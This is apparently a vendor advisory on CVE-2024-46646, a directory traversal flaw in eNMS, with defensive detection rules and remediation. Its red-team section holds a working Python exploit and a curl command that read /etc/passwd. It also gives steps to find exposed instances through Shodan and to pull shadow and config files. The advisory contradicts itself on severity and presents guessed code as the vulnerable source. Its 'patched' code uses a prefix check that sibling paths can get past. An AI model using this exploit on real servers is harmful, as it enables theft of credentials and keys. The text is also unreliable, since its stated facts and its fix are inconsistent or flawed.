CVE-2024-46646

Executive Summary

CVE-2024-46646 is a critical directory traversal vulnerability identified in eNMS (Enterprise Network Management System) up to version 4.7.1. The flaw resides in the /download/file endpoint, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the potential for sensitive data exposure, including configuration files, credentials, and source code. No official patch has been released as of the latest advisory.

Supply Chain & Package Security

This vulnerability affects the eNMS application, which is a Python-based web application. The risk extends to the software supply chain if eNMS is used as a dependency in other systems or if it manages critical network infrastructure. An attacker exploiting this flaw could extract API keys, database credentials, or SSH keys stored in configuration files, leading to lateral movement or compromise of managed devices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Complete loss of confidentiality.
• Integrity (I): None (N) – No impact on integrity.
• Availability (A): None (N) – No impact on availability.

Threat Level: High (7.5) – Unauthenticated remote file read with low complexity.

Deep Dive & Mechanics

The vulnerability exists in the /download/file endpoint of eNMS. The application fails to properly sanitize user-supplied input for the file path parameter. By injecting path traversal sequences (e.g., ../), an attacker can navigate outside the intended download directory and read arbitrary files on the server.

Root Cause: The application uses a function similar to os.path.join or string concatenation without validating that the resulting path is within the allowed directory. This allows an attacker to specify paths like ../../etc/passwd to read system files.

Attack Vector: HTTP GET request to /download/file?path=../../../etc/passwd.

Impact: An attacker can read sensitive files such as:

• /etc/passwd (user enumeration)
• /etc/shadow (password hashes, if permissions allow)
• Application configuration files (e.g., config.py, .env)
• Database credentials
• SSH private keys
• Source code (for further vulnerability discovery)

Vulnerable vs. Patched Code

Vulnerable Code (eNMS <= 4.7.1):

@app.route('/download/file')
def download_file():
    file_path = request.args.get('path')
    # No validation of file_path
    return send_file(file_path, as_attachment=True)

Patched Code (Hypothetical):

import os
from flask import abort, send_file

ALLOWED_DIR = '/var/enms/downloads'

@app.route('/download/file')
def download_file():
    file_path = request.args.get('path')
    # Resolve the absolute path
    abs_path = os.path.abspath(os.path.join(ALLOWED_DIR, file_path))
    # Ensure the resolved path starts with the allowed directory
    if not abs_path.startswith(ALLOWED_DIR):
        abort(403)
    return send_file(abs_path, as_attachment=True)

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-enms.com"
payload = "../../../etc/passwd"
url = f"{target}/download/file?path={payload}"

response = requests.get(url)
if response.status_code == 200:
    print("[+] Success! File contents:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Usage:

1. Identify a vulnerable eNMS instance (e.g., via Shodan dork http.title:"eNMS").
2. Run the exploit script to read /etc/passwd.
3. Iterate to read other sensitive files (e.g., ../../../etc/shadow, ../../../var/enms/config.py).

Lab Setup:

• Deploy eNMS 4.7.1 in a Docker container.
• Use a tool like curl or the provided Python script to test the vulnerability.
• Example: curl "http://localhost:5000/download/file?path=../../../etc/passwd"

Blue Team

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in the path parameter.
• Alert on requests to /download/file with suspicious path patterns.
• Use WAF rules to block path traversal attempts.

Hunting:

• Search for GET /download/file?path= in access logs.
• Look for responses with unusual file types (e.g., /etc/passwd returns text/plain).

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /download/file?path=../../../etc/passwd
  • Repeated attempts with ../ sequences in the path parameter.
• File System:
  • Unexpected access to /etc/passwd, /etc/shadow, or application config files.
• Logs:
  • Web server logs showing 200 responses to path traversal requests.
  • Error logs indicating file not found for paths outside the allowed directory.

Detection Engineering

YARA Rule

rule CVE_2024_46646_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting eNMS /download/file endpoint"
        author = "Valters IT"
        date = "2024-09-01"
        reference = "CVE-2024-46646"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint = "/download/file"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-46646 eNMS Directory Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against eNMS /download/file endpoint
author: Valters IT
date: 2024-09-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/download/file'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46646 eNMS Directory Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/download/file"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /download/file endpoint if not required, by modifying the application code or using a reverse proxy to block access.
2. Apply input validation to ensure the path parameter does not contain ../ or ..\\ sequences.
3. Use a Web Application Firewall (WAF) to block path traversal patterns.

Long-term Fix:

• Upgrade to a patched version of eNMS once available.
• Implement proper file path sanitization using os.path.abspath and ensure the resolved path is within an allowed directory.
• Conduct a security audit of the application for similar vulnerabilities.

Workaround:

• Restrict access to the /download/file endpoint via network segmentation or authentication.

Valters IT